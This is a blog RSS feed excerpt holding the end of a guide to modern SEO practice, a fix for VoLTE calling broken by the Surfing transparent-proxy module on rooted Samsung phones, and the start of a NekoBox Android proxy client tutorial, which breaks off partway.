The report is divided into &quot;&lt;strong&gt;Indexed&lt;/strong&gt;&quot; and &quot;&lt;strong&gt;Not indexed&lt;/strong&gt;&quot; sections. You need to focus on the reasons under &quot;&lt;strong&gt;Not indexed&lt;/strong&gt;&quot;
:::blue[EXAMPLE]
In the &quot;Not indexed&quot; reason list, you see &quot;&lt;strong&gt;Discovered - currently not indexed&lt;/strong&gt;&quot; with 50 URLs under it&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Diagnosis&lt;/strong&gt;: this is bad news. It means Google&apos;s crawler has discovered these URLs (via the sitemap or links), but considers these pages &lt;strong&gt;too low quality&lt;/strong&gt; to even pass the initial screening into its index. This may be because the content is too thin, highly duplicated with other pages, or because the site is new and has too little authority, so Google isn&apos;t willing to allocate index quota to you&lt;/p&gt;
&lt;p&gt;You should&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Review these URLs one by one&lt;/strong&gt;. Are they auto-generated tag or archive pages with little substantive content? If so, make them &lt;code&gt;noindex&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If these are good articles you wrote with care, then the problem lies in &lt;strong&gt;content quality&lt;/strong&gt; or &lt;strong&gt;site authority&lt;/strong&gt;. You need to: write the articles more deeply and insightfully, and get more high-quality links pointing to these pages from both on-site and off-site
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;15.2 Google Analytics 4&lt;/h3&gt;
&lt;p&gt;GA4 tells you what users do &lt;strong&gt;after they enter your site&lt;/strong&gt;. It helps you judge whether your content truly meets user needs&lt;/p&gt;
&lt;p&gt;:::yellow[Practical analysis I]
Identifying content that gets applause but no engagement&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Path&lt;/strong&gt;: Reports &amp;gt; Engagement &amp;gt; &lt;strong&gt;Landing pages&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This report lists the first page users land on when entering your site. By default it&apos;s sorted by &quot;Users&quot;. Now click the &quot;&lt;strong&gt;Average engagement time&lt;/strong&gt;&quot; column header to sort ascending&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You find that your &lt;em&gt;maimai DX Full Song List&lt;/em&gt; page brings in many users (near the top in user count), but its average engagement time is only &lt;strong&gt;15 seconds&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Diagnosis&lt;/strong&gt;: users arrive, then leave immediately&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;This usually means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your page loads too slowly&lt;/li&gt;
&lt;li&gt;The page design is confusing and users can&apos;t find the information they want&lt;/li&gt;
&lt;li&gt;The content is comprehensive, but presented poorly (for example, it&apos;s just a giant HTML table with no way to search or filter)&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Optimize the page experience&lt;/strong&gt;: add &lt;strong&gt;client-side search, sorting and filtering&lt;/strong&gt; to this song list. Let users quickly find the songs they want by difficulty, version and composer (such as xi)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Improve loading speed&lt;/strong&gt;: if the list contains lots of images (covers), make sure they&apos;re all compressed and lazy-loaded
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::yellow[Practical analysis II]
Tracking conversions to find your cash cow&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;You need to set up &lt;strong&gt;Conversions&lt;/strong&gt; in GA4 first. A conversion doesn&apos;t have to mean a monetary transaction. For a blog, a conversion can be defined as &quot;&lt;strong&gt;a user successfully copies a code block&lt;/strong&gt;&quot;, &quot;&lt;strong&gt;a user downloads your OpenWrt config file&lt;/strong&gt;&quot; or &quot;&lt;strong&gt;a user stays on a tutorial page for more than 5 minutes&lt;/strong&gt;&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Path&lt;/strong&gt;: Traffic acquisition &amp;gt; &lt;strong&gt;Traffic acquisition&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Reading the data&lt;/strong&gt;: look at the report, set the primary dimension to &quot;&lt;strong&gt;Landing Page&lt;/strong&gt;&quot;, and check the &quot;&lt;strong&gt;Conversions&lt;/strong&gt;&quot; each landing page generates&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;A case study&lt;/strong&gt;: you find that your article &lt;em&gt;The Top Ten Must-Have Apps After Installing Arch Linux&lt;/em&gt; leads by a wide margin on &quot;code block copied&quot; conversions, far ahead of other articles&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Diagnosis&lt;/strong&gt;: this article precisely captures users&apos; &lt;strong&gt;action intent&lt;/strong&gt;. After reading it, users immediately start doing things. It&apos;s a highly valuable action-guide &lt;s&gt;homework-copying&lt;/s&gt; type of content&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Around this successful pattern, create more similar content. For example &lt;em&gt;The 5 Best Terminal Emulator Configurations on Arch Linux&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Push this high-converting article to a more prominent spot on your site (such as a homepage recommendation), and link to it from more articles
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;16. Legacy Issues Explained&lt;/h2&gt;
&lt;h3&gt;16.1 &lt;code&gt;meta name=&quot;keywords&quot;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This is a meta tag that used to live in the HTML &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, allowing site owners to proactively tell search engines which keywords a page is related to&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        &amp;lt;meta name=&quot;keywords&quot; content=&quot;舞萌DX, maimai DX, 谱面, 攻略, xi, 白系&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the wild early days of search engines, algorithms couldn&apos;t accurately determine a page&apos;s topic by analyzing its content. So they needed site owners to provide this kind of self-introduction&lt;/p&gt;
&lt;p&gt;But this tag had a fatal design flaw: it relied entirely on the site owner&apos;s &lt;strong&gt;integrity&lt;/strong&gt;. Soon black-hat SEOs began abusing it wildly, stuffing it with large numbers of popular but &lt;strong&gt;irrelevant keywords&lt;/strong&gt; to steal traffic (for example, adding free movie downloads to an Arch Linux tutorial page)&lt;/p&gt;
&lt;p&gt;This behavior severely polluted search results, causing user experience to plummet. To save themselves, search engines were forced into an algorithmic revolution, learning to &lt;strong&gt;rely on their own ability to understand content&lt;/strong&gt; instead of trusting the self-reports of sites&lt;/p&gt;
&lt;p&gt;This is a classic case of a defense against the honest but not the dishonest&lt;/p&gt;
&lt;p&gt;:::yellow[Death sentence]
&lt;strong&gt;Google publicly announced back in 2009 that it completely ignores the &lt;code&gt;meta name=&quot;keywords&quot;&lt;/code&gt; tag in its ranking algorithm&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bing and other mainstream search engines have also made clear that this tag has almost no value
:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For new site owners, there is absolutely no need to use this tag&lt;/li&gt;
&lt;li&gt;For veteran site owners, if your site still has this tag, there&apos;s no need to waste time deleting it. It&apos;s harmless and basically useless. Just let it lie there quietly as a fossil of internet history&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;This is why I haven&apos;t mentioned meta keywords at all throughout this article. If a 2025 SEO tutorial is still teaching you how to optimize &lt;code&gt;meta keywords&lt;/code&gt;, &lt;strong&gt;you can laugh with relief&lt;/strong&gt;; the author&apos;s knowledge system is at least 15 years behind&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;16.2 Traditional PageRank scores&lt;/h3&gt;
&lt;p&gt;This is an integer score from 0 to 10 that used to be displayed in the Google Toolbar, representing a page&apos;s link authority&lt;/p&gt;
&lt;p&gt;For more than a decade, the PR value was the most intuitive, most quantifiable authority metric in the entire SEO industry, directly spawning a huge link trading market&lt;/p&gt;
&lt;p&gt;Why did it die?
(We broke this down in detail in section 3.3.) Its &lt;strong&gt;publicness&lt;/strong&gt; led to large-scale algorithmic manipulation, destroying the fairness of the search ecosystem&lt;/p&gt;
&lt;p&gt;:::yellow[Death sentence]
In 2013, PageRank was hidden
In 2016, it was completely removed by Google
:::&lt;/p&gt;
&lt;p&gt;Any third-party tool claiming to check your site&apos;s &quot;PR value&quot; is displaying meaningless, outdated data, or a metric they invented themselves that has nothing to do with Google (such as Ahrefs&apos; DR or Moz&apos;s DA)&lt;/p&gt;
&lt;p&gt;Forget the concept of PR value. Stop asking me what my site&apos;s PR value is&lt;br /&gt;
Put your energy into acquiring &lt;strong&gt;topically relevant, contextually appropriate, genuinely traffic-driving&lt;/strong&gt; high-quality links, rather than chasing a phantom score that no longer exists. That is the modern Rank&lt;/p&gt;
&lt;h4&gt;16.3 Other outdated beliefs&lt;/h4&gt;
&lt;h5&gt;16.3.1 &quot;Keyword density must reach X%&quot;&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;In the past, some believed that the proportion of a certain keyword on a page (e.g. 2-5%) was key to rankings&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is an extremely outdated idea. Modern search engines use BM25 and NLP models, focusing more on keyword &lt;strong&gt;position&lt;/strong&gt; (title, H1), &lt;strong&gt;context&lt;/strong&gt;, &lt;strong&gt;synonyms&lt;/strong&gt; and &lt;strong&gt;semantic relevance&lt;/strong&gt;. Just write naturally and let keywords and related topic terms appear reasonably where they should. &lt;strong&gt;Deliberately chasing a certain density only makes your writing clunky and is actively harmful&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;16.3.2 &quot;The older the domain, the better&quot;&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;People used to widely believe that old domains have a ranking advantage.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Google&apos;s John Mueller has clarified many times that &lt;strong&gt;domain age itself is not a ranking factor&lt;/strong&gt;. Old domains appear to have an advantage because they&apos;ve had more time to &lt;strong&gt;accumulate content and high-quality backlinks&lt;/strong&gt;. A brand-new domain that can quickly build excellent content and authority is fully capable of surpassing an old domain whose content has stagnated for years. &lt;strong&gt;What matters is the domain&apos;s history, not its age&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;17. SEO anti&lt;/h2&gt;
&lt;h3&gt;17.1 Paid backlinks&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Scammer scripts usually go:
&quot;We have thousands of high-authority site resources and can publish articles with links for you&quot;
&quot;For just XXX yuan, you get a dofollow backlink from a DA 50+ site (or another made-up metric)&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Deconstructed, this is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Private Blog Network&lt;/strong&gt;: the most common kind. Scammers buy a bunch of expired domains that once had some authority, then use templated programs to quickly build lots of blogs that look &quot;normal.&quot; These blogs exist for one purpose only — selling links. Their content is low-quality, their topics are scrambled, and they link to each other, forming a fake &quot;authority network&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hacked sites&lt;/strong&gt;: even worse, they exploit vulnerabilities to hack into normal sites, then secretly add links pointing to the client on those sites&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Low-quality guest posts&lt;/strong&gt;: they publish an AI-generated, badly written spam article on low-quality news sites or blogs that let anyone pay to post, and insert your link into it&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[How Google sends them to the gallows]
Google&apos;s anti-spam team has extremely complex algorithms and manual review processes to identify these unnatural links&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Link Graph Analysis&lt;/strong&gt;: Google can analyze the link topology of the entire internet. Sites in a PBN network usually have highly unnatural link patterns (e.g. only outgoing links and no incoming links, or linking only within a specific small circle), and are easily identified by algorithms as link farms&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Anchor text abuse detection&lt;/strong&gt;: if a new site suddenly gains a large number of backlinks pointing to it with completely identical anchor text (e.g. all &quot;OpenWrt router recommendation&quot;) within a short period, that&apos;s an extremely dangerous signal. Natural links should have diverse anchor text&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Site quality assessment&lt;/strong&gt;: Google assesses the quality of the site publishing the link itself. A normal site should have topical content, regular updates and real user visits. PBN sites usually have jumbled content, stagnated updates and no organic traffic&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Manual reports and review&lt;/strong&gt;: your competitors, or anyone who understands SEO, can report suspicious link trading to Google through its &quot;&lt;strong&gt;Report paid links&lt;/strong&gt;&quot; tool&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Once Google&apos;s algorithm or a manual reviewer confirms that your site has participated in large-scale link manipulation, your Google Search Console will receive an &quot;&lt;strong&gt;Unnatural outbound links&lt;/strong&gt;&quot; manual action notice&lt;/li&gt;
&lt;li&gt;Your site&apos;s rankings will &lt;strong&gt;fall off a cliff&lt;/strong&gt;, and may even be &lt;strong&gt;completely removed from Google&apos;s index&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;You&apos;ll need to manually find all the spam links you bought, contact the site owners to request removal (which is usually ignored or met with blackmail), then use GSC&apos;s &quot;&lt;strong&gt;Disavow Tool&lt;/strong&gt;&quot; to submit to Google a list of spam links you disown, and write a Reconsideration Request begging for Google&apos;s forgiveness. The whole process can take months, and &lt;strong&gt;success is not guaranteed&lt;/strong&gt;
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Site owners would do best to let go of speculative ideas too; good wine needs no bush. Looking back at this article, real authority comes from &lt;strong&gt;creating linkable assets worth linking to&lt;/strong&gt;, and through &lt;strong&gt;digital PR&lt;/strong&gt; and &lt;strong&gt;community contributions&lt;/strong&gt;, letting high-quality links happen &lt;strong&gt;naturally&lt;/strong&gt;. It&apos;s hard and slow, but it&apos;s the only correct, sustainable path&lt;/p&gt;
&lt;h3&gt;17.2 Keyword stuffing&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Scammer script&lt;/strong&gt;: &quot;Your page&apos;s keyword density isn&apos;t enough; we need to optimize it to 5% for you&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As we said in chapter 16, this is a Stone Age idea. Modern NLP algorithms will consider it as &lt;strong&gt;reducing content readability&lt;/strong&gt;, and may even give negative evaluations&lt;/p&gt;
&lt;h3&gt;17.3 &quot;Submit to XXX search engines&quot; services&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Scammer script&lt;/strong&gt;: &quot;We can submit your site to 500 search engines worldwide in one go&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;99.99% of search traffic comes from a few giants: Google, Bing, Baidu and so on. These giants &lt;strong&gt;don&apos;t need you to submit manually&lt;/strong&gt;; their crawlers discover your site automatically. What this service submits to is hundreds of garbage search engines you&apos;ve never heard of with zero traffic: &lt;strong&gt;pure psychological comfort, completely worthless&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;17.4 Buying social media signals&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Scammer script&lt;/strong&gt;: &quot;Buying 10,000 Twitter retweets will boost your SEO rankings&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Google has made clear that the number of likes and shares on social media is &lt;strong&gt;not a direct ranking factor&lt;/strong&gt;. Although widespread social sharing may bring indirect benefits (such as brand exposure and referral traffic, which may in turn bring organic backlinks), buying fake signals from bot accounts is completely ineffective and will be easily seen through by algorithms&lt;/p&gt;
&lt;h2&gt;18. Conclusion&lt;/h2&gt;
&lt;p&gt;The purpose of this article is simple: to let every modern site owner understand search engines and SEO as they are &lt;strong&gt;today&lt;/strong&gt;. I&apos;ve emphasized &lt;strong&gt;modern&lt;/strong&gt; throughout. Much of the SEO optimization advice I see on major forums is meaningless scraped rewrites. It&apos;s 2025, and there are still self-proclaimed SEO experts teaching keyword stuffing and buying backlinks; this article exists to slap those so-called experts&apos; faces as sharply as possible&lt;/p&gt;
&lt;p&gt;This post is complementary to &lt;em&gt;A Deep Dive into Modern Search Engines: From Principles and Algorithms to Efficient Retrieval Practice&lt;/em&gt;. I strongly recommend reading the earlier piece, &lt;a href=&quot;/en/posts/modernSearchEngine/&quot;&gt;&amp;gt; click to jump&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Since this was written by one person with limited energy, corrections are welcome. Please credit the source when reposting, much appreciated&lt;/p&gt;
</content:encoded><category>开发</category><author>Chongxi</author></item><item><title>Can&apos;t Make Calls on Samsung/Android with the Surfing Transparent Proxy Module: A Fix</title><link>https://xice.cx/en/posts/SurfingIssueOnSamsung/</link><guid isPermaLink="true">https://xice.cx/en/posts/SurfingIssueOnSamsung/</guid><description>Can&apos;t make calls after installing Surfing on a Samsung phone? Two solutions: exclude the package names, or enable Tproxy.</description><pubDate>Fri, 07 Nov 2025 16:10:04 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;I&apos;m sure everyone who has messed with transparent proxy modules on a rooted phone has run into this very thorny problem:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mobile data works perfectly fine, but you can&apos;t place or receive calls, and sending/receiving texts is broken too&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Your first instinct is a signal problem, but you&apos;ll usually find the signal is at full bars. This is actually a classic issue caused by a conflict between proxy software and the system&apos;s low-level VoLTE service.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Problem Analysis&lt;/h2&gt;
&lt;p&gt;Here&apos;s how HD calling works today&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;On LTE/NR networks, calls and texts don&apos;t go over the traditional circuit-switched network; they rely on the &lt;code&gt;IMS&lt;/code&gt; service, and the &lt;code&gt;VoLTE&lt;/code&gt; we&apos;re all familiar with is its most common application&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;code&gt;IMS service&lt;/code&gt; itself also communicates with the carrier&apos;s core network through &lt;code&gt;IP packets&lt;/code&gt;. Transparent proxy modules like &lt;code&gt;Surfing&lt;/code&gt;, in order to achieve global proxying, have their default &lt;code&gt;TUN mode&lt;/code&gt; create a virtual network interface at the system level, &lt;strong&gt;forcibly taking over almost all network traffic on the device&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Once &lt;code&gt;VoLTE/IMS&lt;/code&gt; signaling traffic is also taken over by this virtual interface, these packets — extremely sensitive to latency and routing — get wrongly &lt;code&gt;proxied, redirected or split&lt;/code&gt;, which leads to &lt;code&gt;IMS service registration failure or constant disconnects&lt;/code&gt; and makes calls impossible&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It&apos;s not a signal problem — VoLTE signaling is being hijacked by the transparent proxy&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Solutions&lt;/h2&gt;
&lt;p&gt;Essentially, this means letting the traffic of the call-related core services bypass the transparent proxy and talk directly to the carrier network&lt;/p&gt;
&lt;p&gt;:::red[Watch the indentation!]
YAML is extremely, extremely strict about indentation — one space too few or too many and the whole thing blows up. Give it an extra space and it will go off on you
:::&lt;/p&gt;
&lt;h3&gt;2.1 Solution One: Samsung users should try this first&lt;/h3&gt;
&lt;p&gt;This is the simplest and most direct method: have the proxy exclude the affected apps&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;List of package names to exclude (mainly for Samsung OneUI):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;com.qti.qcc                  # 高通IMS/VoLTE 调度核心
com.sec.imsservice           # 三星IMS服务(VOLTE/VoWiFi)
com.sec.epdg                 # VoWiFi ePDG隧道服务
com.samsung.android.messaging        # 系统官方短信
com.samsung.android.dialer           # 拨号器
com.samsung.android.incallui         # 通话界面
com.samsung.android.app.telephonyui  # 通话UI资源
com.samsung.android.smartcallprovider # 来电识别
com.samsung.android.intellivoiceservice # 智能语音降噪
com.android.settings
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;(Note: on non-Samsung phones, you can try excluding native IMS service package names such as &lt;code&gt;com.android.imsservice&lt;/code&gt; according to your own situation)&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;2.1.1 Procedure (using Surfing as an example)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Using a tool like MT管理器, open the Clash config file, usually located at: &lt;code&gt;/data/adb/modules/box4magisk/config.yaml&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Find the &lt;code&gt;tun:&lt;/code&gt; -&amp;gt; &lt;code&gt;exclude-package:&lt;/code&gt; section (around lines 137–146)&lt;/li&gt;
&lt;li&gt;Uncomment the &lt;code&gt;#&lt;/code&gt; in front of these package names, as shown below&lt;/li&gt;
&lt;li&gt;Save the config file, then &lt;strong&gt;reboot&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./SurfingIssueOnSamsung/example.webp&quot; alt=&quot;example.webp&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This method works on most Samsung phones. If the problem persists after doing this, or your phone isn&apos;t a Samsung but you&apos;re hitting the same issue, just go straight to Solution Two&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.2 Solution Two: Switch to Tproxy&lt;/h3&gt;
&lt;p&gt;If Solution One doesn&apos;t work, or you want a more stable and thorough fix, then switching the proxy mode from &lt;code&gt;TUN&lt;/code&gt; to &lt;code&gt;Tproxy&lt;/code&gt; is the best choice — it&apos;s definitely the most universal solution&lt;/p&gt;
&lt;h4&gt;2.2.1 Why Tproxy?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TUN&lt;/code&gt; mode is an application-layer approach, which you can think of as taking over everything wholesale; the exclusion approach isn&apos;t always thorough enough — &lt;em&gt;loosely speaking, you can think of it as the VPN-style total takeover&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Tproxy&lt;/code&gt; mode works with &lt;code&gt;iptables&lt;/code&gt; at the lower kernel level, enabling more precise traffic control. The module usually comes with preset rules that &lt;strong&gt;bypass the system&apos;s internal and carrier communication traffic from the start&lt;/strong&gt;, proxying only user app traffic, avoiding the conflict at its root&lt;/li&gt;
&lt;li&gt;What&apos;s more, Surfing uses the Mihomo core. If you really want to play with TUN, I&apos;d suggest sing-box — the latter has better optimizations for TUN, and you could call it the ceiling of the proxy industry&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2.2.2 The actual steps&lt;/h4&gt;
&lt;p&gt;Modify the Clash config file and enable the Tproxy listener&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open &lt;code&gt;/data/adb/modules/box4magisk/config.yaml&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Turn off TUN&lt;pre&gt;&lt;code&gt;tun:
  enable: false  #把这里改成false
  # ... 其他设置保持不变
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Enable Tproxy by adding the following between the TUN and DNS sections&lt;pre&gt;&lt;code&gt;tproxy:
  enable: true
  port: 1536 # 注意：此端口号必须与 tproxy-port 和模块脚本使用的端口一致，Surfing默认1536，视你的配置跟随变动，端口在文件顶部的`tproxy-port`
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Reboot&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;3. Conclusion&lt;/h3&gt;
&lt;p&gt;This post is mainly about providing a concrete solution. As for the proxy knowledge involved here, I can write a separate post about it later (digging another hole)&lt;/p&gt;
</content:encoded><category>Android</category><category>Samsung</category><category>网络</category><author>Chongxi</author></item><item><title>Nekobox: A Super Simple Beginner&apos;s Guide</title><link>https://xice.cx/en/posts/nekobox/</link><guid isPermaLink="true">https://xice.cx/en/posts/nekobox/</guid><description>Nekobox from beginner to advanced configuration: a complete guide to the Android proxy client.</description><pubDate>Wed, 05 Nov 2025 06:22:52 GMT</pubDate><content:encoded>&lt;p&gt;:::red[CAUTION]
This article is intended for the exchange and study of technical knowledge and software usage methods. The tools and configuration methods involved are only for lawful and legitimate purposes, including but not limited to cybersecurity research, encrypted data communication and access to public academic resources.&lt;/p&gt;
&lt;p&gt;Users are fully responsible for their own actions. Please make sure you comply with the laws and regulations of your country/region when using the relevant technologies. Any illegal activity carried out using the technologies described in this article has nothing to do with the author.&lt;/p&gt;
&lt;p&gt;Technology itself is neither good nor evil; what matters is the user&apos;s intent and manner of use. Just as teaching chemistry does not make one responsible for drug manufacturing, and teaching programming does not make one responsible for writing malware, this article stops at the boundary of technical discussion.
:::&lt;/p&gt;
&lt;h2&gt;0. Preface&lt;/h2&gt;
&lt;p&gt;NekoBox for Android is a general-purpose proxy tool based on the &lt;code&gt;sing-box&lt;/code&gt; core. This article will teach you to master Nekobox and highly customise traffic-splitting rules.&lt;/p&gt;
&lt;h3&gt;0.1 Why choose Nekobox?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Powered by the most advanced &lt;code&gt;sing-box&lt;/code&gt; core, supporting all the newest and hottest protocols, including Reality&lt;/li&gt;
&lt;li&gt;Provides traffic routing rules fine-grained down to a single app, a single domain and a single IP&lt;/li&gt;
&lt;li&gt;Fully open source, eliminating any possible privacy leak
&lt;em&gt;Of course, it does not guarantee that the proxy server itself is safe&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;0.2 SagerNet and Nekobox&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;SagerNet&lt;/code&gt; is the multi-protocol proxy client of the old era; it is no longer updated and has been archived
&lt;code&gt;NekoBox&lt;/code&gt; is its modern successor, and currently the most powerful Android proxy client&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Nekobox Basic Configuration&lt;/h2&gt;
&lt;h3&gt;1.1 Download and Installation&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/MatsuriDayo/NekoBoxForAndroid/releases&quot;&gt;Download link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;:::blue[Tips]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download the &lt;code&gt;arm64-v8a&lt;/code&gt; version of the &lt;code&gt;.apk&lt;/code&gt; file&lt;/li&gt;
&lt;li&gt;On first launch you need to add a VPN configuration (just tap allow)&lt;/li&gt;
&lt;li&gt;It is recommended to add the app to the &lt;strong&gt;battery optimisation whitelist&lt;/strong&gt; so it doesn&apos;t get cleaned up in the background by the system
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 Importing a Configuration&lt;/h3&gt;
&lt;h3&gt;Airport User Configuration Guide&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Open the sidebar in the top-left corner&lt;/li&gt;
&lt;li&gt;Tap 「分组」&lt;/li&gt;
&lt;li&gt;Tap the top-right corner of the page to enter group settings&lt;/li&gt;
&lt;li&gt;Fill in &lt;code&gt;分组名&lt;/code&gt; however you like, change &lt;code&gt;分组类型&lt;/code&gt; to &lt;code&gt;订阅&lt;/code&gt;, and enter the proxy subscription URL given by your airport in &lt;code&gt;订阅链接&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;It&apos;s recommended to enable &lt;code&gt;自动更新&lt;/code&gt; at the bottom
&lt;code&gt;selector&lt;/code&gt; depends on your situation&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;Tap the top-right corner to save&lt;/li&gt;
&lt;li&gt;Go back to the home page, select a node and enable it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./nekobox/1.webp&quot; alt=&quot;Example of airport settings&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Importing a Single Node&lt;/h3&gt;
&lt;p&gt;Tap the top-right corner of the home page and import a configuration&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Method 1: Import from clipboard
Example configuration URL&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;trojan://114514@xice.cx:1080/?type=tcp&amp;amp;security=tls#%E7%A4%BA%E4%BE%8B
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Method 2: Scan a QR code
Illustration
&lt;img src=&quot;./nekobox/qr.webp&quot; alt=&quot;qrcode&quot; /&gt;&lt;/li&gt;
&lt;li&gt;Method 3: Fill in the parameters manually&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;2. VPN vs Proxy-only: How to Choose?&lt;/h2&gt;
&lt;p&gt;In Nekobox&apos;s settings, you&apos;ll see a mode selector. Next, let&apos;s briefly understand how they work.&lt;/p&gt;
&lt;h3&gt;2.1 VPN Mode&lt;/h3&gt;
